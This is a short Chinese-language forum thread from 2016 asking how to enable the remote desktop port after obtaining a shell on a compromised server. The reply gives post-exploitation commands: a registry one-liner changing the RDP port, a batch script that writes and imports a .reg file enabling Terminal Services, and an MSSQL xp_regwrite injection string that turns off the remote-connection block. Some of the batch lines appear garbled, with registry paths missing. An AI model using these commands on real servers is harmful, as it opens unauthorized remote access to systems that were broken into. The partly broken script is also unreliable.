定位 发表于 2016-10-13 04:11:41

拿了shell怎么开启远程端口

要看是什么系统。2000的话,需要传3389.exe运行才行。
2003的话方法就多了,可以实现一句话开3389:reg add"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 80 /f
【3389.bat开3389】echoWindows Registry Editor Version 5.00 >3389.reg echo.>>3389.reg echo>>3389.reg echo"Enabled"="0" >>3389.reg echo>>3389.reg echo"ShutdownWithoutLogon"="0" >>3389.reg echo>>3389.reg echo"EnableAdminTSRemote"=dword:00000001 >>3389.reg echo>>3389.reg echo"TSEnabled"=dword:00000001 >>3389.reg echo >>3389.reg echo"Start"=dword:00000002 >>3389.reg echo>>3389.reg echo"Start"=dword:00000002 >>3389.reg echo >>3389.reg echo"Hotkey"="1" >>3389.reg echo >>3389.reg echo"PortNumber"=dword:00000D3D >>3389.reg echo >>3389.reg echo"PortNumber"=dword:00000D3D >>3389.reg regedit/s 3389.reg


【1433一句话开3389】execmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\TerminalServer','fDenyTSConnections','REG_DWORD',0;--


页: [1]
查看完整版本: 拿了shell怎么开启远程端口